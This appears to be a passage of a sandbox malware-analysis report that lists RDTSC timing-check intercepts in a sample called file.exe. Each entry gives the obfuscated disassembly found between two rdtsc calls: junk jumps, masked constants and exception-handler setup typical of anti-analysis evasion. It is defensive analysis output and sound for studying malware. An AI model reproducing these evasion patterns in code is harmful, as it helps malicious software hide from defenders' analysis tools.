Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940C65 second address: 4940C9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jns 00007FDE34EAC8B4h 0x0000000d pushad 0x0000000e mov ax, 572Dh 0x00000012 pushfd 0x00000013 jmp 00007FDE34EAC86Ah 0x00000018 sub al, FFFFFFC8h 0x0000001b jmp 00007FDE34EAC86Bh 0x00000020 popfd 0x00000021 popad 0x00000022 add eax, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940C9A second address: 4940CA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940CA0 second address: 4940D05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34EAC878h 0x00000008 push eax 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax+00000860h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FDE34EAC86Ah 0x0000001a sub eax, 3CC48088h 0x00000020 jmp 00007FDE34EAC86Bh 0x00000025 popfd 0x00000026 jmp 00007FDE34EAC878h 0x0000002b popad 0x0000002c test eax, eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D05 second address: 4940D44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDEA6BF6D1Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDE34C00CDBh 0x00000018 jmp 00007FDE34C00CE3h 0x0000001d popfd 0x0000001e mov dl, cl 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D44 second address: 4940D7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 12D261A7h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [eax+04h], 00000005h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FDE34EAC872h 0x00000017 jmp 00007FDE34EAC872h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8ED5 second address: 3B8EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8EE1 second address: 3B8EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDE34EAC866h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8EEC second address: 3B8EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B9078 second address: 3B908D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jc 00007FDE34EAC87Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FDE34EAC866h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960386 second address: 496038C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496038C second address: 4960390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960390 second address: 49603E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov esi, 2E65157Bh 0x00000012 mov dx, si 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FDE34C00CDDh 0x0000001c xchg eax, ebp 0x0000001d jmp 00007FDE34C00CDEh 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDE34C00CE7h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49603E8 second address: 496041E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FDE34EAC86Eh 0x00000011 mov ecx, dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 mov edx, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49506E5 second address: 495070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CDDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495070A second address: 495072E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC86Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495072E second address: 4950734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950734 second address: 4950738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950738 second address: 4950757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE34C00CE4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950757 second address: 49507C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDE34EAC874h 0x00000012 xor ch, 00000068h 0x00000015 jmp 00007FDE34EAC86Bh 0x0000001a popfd 0x0000001b jmp 00007FDE34EAC878h 0x00000020 popad 0x00000021 xchg eax, ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDE34EAC877h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49507C0 second address: 49507FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, 1D24E5E9h 0x00000012 call 00007FDE34C00CE6h 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49507FE second address: 4950829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC870h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b jmp 00007FDE34EAC86Dh 0x00000010 popad 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950829 second address: 495082F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495082F second address: 4950835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950835 second address: 4950839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950839 second address: 495083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495083D second address: 495086E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDE34C00CE3h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDE34C00CE0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495086E second address: 4950874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950874 second address: 495087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495087A second address: 495087E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495087E second address: 49508C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FDE34C00CE1h 0x00000014 sub ecx, 0B922D76h 0x0000001a jmp 00007FDE34C00CE1h 0x0000001f popfd 0x00000020 jmp 00007FDE34C00CE0h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49508C7 second address: 4950928 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FDE34EAC876h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDE34EAC86Ch 0x00000019 or cx, 0C28h 0x0000001e jmp 00007FDE34EAC86Bh 0x00000023 popfd 0x00000024 jmp 00007FDE34EAC878h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950928 second address: 495092E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495092E second address: 4950932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495098D second address: 495099C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495099C second address: 49509A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49509A2 second address: 49509A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49509A6 second address: 49509BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC86Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49509BC second address: 49509E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDE34C00D0Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FDE34C00CE2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950010 second address: 4950016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950016 second address: 495001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495001C second address: 495007C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 call 00007FDE34EAC873h 0x00000015 call 00007FDE34EAC878h 0x0000001a pop esi 0x0000001b pop ebx 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDE34EAC86Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495007C second address: 49500A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CE5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49500A3 second address: 4950186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FDE34EAC86Eh 0x00000010 push FFFFFFFEh 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDE34EAC86Eh 0x00000019 xor esi, 21325BE8h 0x0000001f jmp 00007FDE34EAC86Bh 0x00000024 popfd 0x00000025 mov esi, 6CA5E7DFh 0x0000002a popad 0x0000002b push 1C18C8BDh 0x00000030 jmp 00007FDE34EAC86Bh 0x00000035 xor dword ptr [esp], 6A8256F5h 0x0000003c pushad 0x0000003d call 00007FDE34EAC870h 0x00000042 pushfd 0x00000043 jmp 00007FDE34EAC872h 0x00000048 and ecx, 521A30A8h 0x0000004e jmp 00007FDE34EAC86Bh 0x00000053 popfd 0x00000054 pop eax 0x00000055 popad 0x00000056 call 00007FDE34EAC869h 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e pushfd 0x0000005f jmp 00007FDE34EAC877h 0x00000064 adc eax, 025D269Eh 0x0000006a jmp 00007FDE34EAC879h 0x0000006f popfd 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950186 second address: 49501AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CDCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49501AA second address: 4950233 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FDE34EAC879h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FDE34EAC871h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007FDE34EAC871h 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FDE34EAC86Fh 0x0000002c adc esi, 68F888CEh 0x00000032 jmp 00007FDE34EAC879h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950233 second address: 495029B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 6DE2h 0x00000007 pushfd 0x00000008 jmp 00007FDE34C00CE3h 0x0000000d xor esi, 2A4CD6DEh 0x00000013 jmp 00007FDE34C00CE9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, dword ptr fs:[00000000h] 0x00000022 pushad 0x00000023 pushad 0x00000024 movsx ebx, cx 0x00000027 popad 0x00000028 mov bx, ax 0x0000002b popad 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 call 00007FDE34C00CE4h 0x00000035 pop ecx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495029B second address: 49502C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC870h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movzx esi, bx 0x0000000e popad 0x0000000f nop 0x00000010 pushad 0x00000011 mov ecx, edx 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 sub esp, 18h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49502C6 second address: 49502CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49502CC second address: 49502D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49502D2 second address: 49502D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49502D6 second address: 49502F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop esi 0x0000000e jmp 00007FDE34EAC873h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49502F8 second address: 495033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d push ecx 0x0000000e mov bx, 471Eh 0x00000012 pop edi 0x00000013 mov eax, 1DC8F91Bh 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a jmp 00007FDE34C00CDEh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495033A second address: 4950342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950342 second address: 49503A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, 2776D1D7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FDE34C00CDFh 0x00000017 xor esi, 3A3C41DEh 0x0000001d jmp 00007FDE34C00CE9h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FDE34C00CE0h 0x00000029 add ecx, 0CE639D8h 0x0000002f jmp 00007FDE34C00CDBh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49503A7 second address: 49503D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDE34EAC86Fh 0x00000008 pop ecx 0x00000009 mov eax, edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jmp 00007FDE34EAC870h 0x00000014 mov dword ptr [esp], edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ecx, edi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49503D9 second address: 4950406 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [769B4538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34C00CDDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950406 second address: 4950424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950424 second address: 4950428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950428 second address: 495042E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495042E second address: 495053A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 pushfd 0x00000007 jmp 00007FDE34C00CDCh 0x0000000c or cx, 7288h 0x00000011 jmp 00007FDE34C00CDBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xor eax, ebp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FDE34C00CE5h 0x00000023 sbb cx, F9A6h 0x00000028 jmp 00007FDE34C00CE1h 0x0000002d popfd 0x0000002e push eax 0x0000002f pushfd 0x00000030 jmp 00007FDE34C00CE7h 0x00000035 sub ecx, 37B7ACDEh 0x0000003b jmp 00007FDE34C00CE9h 0x00000040 popfd 0x00000041 pop ecx 0x00000042 popad 0x00000043 push edx 0x00000044 jmp 00007FDE34C00CDCh 0x00000049 mov dword ptr [esp], eax 0x0000004c jmp 00007FDE34C00CE0h 0x00000051 lea eax, dword ptr [ebp-10h] 0x00000054 pushad 0x00000055 call 00007FDE34C00CDEh 0x0000005a mov edi, esi 0x0000005c pop ecx 0x0000005d pushfd 0x0000005e jmp 00007FDE34C00CE7h 0x00000063 add eax, 49B00CFEh 0x00000069 jmp 00007FDE34C00CE9h 0x0000006e popfd 0x0000006f popad 0x00000070 mov dword ptr fs:[00000000h], eax 0x00000076 push eax 0x00000077 push edx 0x00000078 push eax 0x00000079 push edx 0x0000007a pushad 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495053A second address: 4950540 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950540 second address: 49505FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c jmp 00007FDE34C00CE0h 0x00000011 mov eax, dword ptr fs:[00000018h] 0x00000017 pushad 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FDE34C00CDCh 0x0000001f adc ax, C588h 0x00000024 jmp 00007FDE34C00CDBh 0x00000029 popfd 0x0000002a call 00007FDE34C00CE8h 0x0000002f pop eax 0x00000030 popad 0x00000031 push edx 0x00000032 mov ecx, 4B48D93Dh 0x00000037 pop ecx 0x00000038 popad 0x00000039 mov ecx, dword ptr [eax+00000FDCh] 0x0000003f jmp 00007FDE34C00CE9h 0x00000044 test ecx, ecx 0x00000046 jmp 00007FDE34C00CDEh 0x0000004b jns 00007FDE34C00D06h 0x00000051 pushad 0x00000052 mov bh, ah 0x00000054 mov bh, 34h 0x00000056 popad 0x00000057 add eax, ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FDE34C00CDCh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49505FE second address: 4950604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950604 second address: 4950627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34C00CDAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950627 second address: 4950636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940160 second address: 49401B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 4C229723h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov dx, si 0x00000012 pushfd 0x00000013 jmp 00007FDE34C00CDEh 0x00000018 and cx, 0E68h 0x0000001d jmp 00007FDE34C00CDBh 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov ah, 8Dh 0x0000002a call 00007FDE34C00CE7h 0x0000002f pop ecx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49401B2 second address: 49401B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49401B8 second address: 49401BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
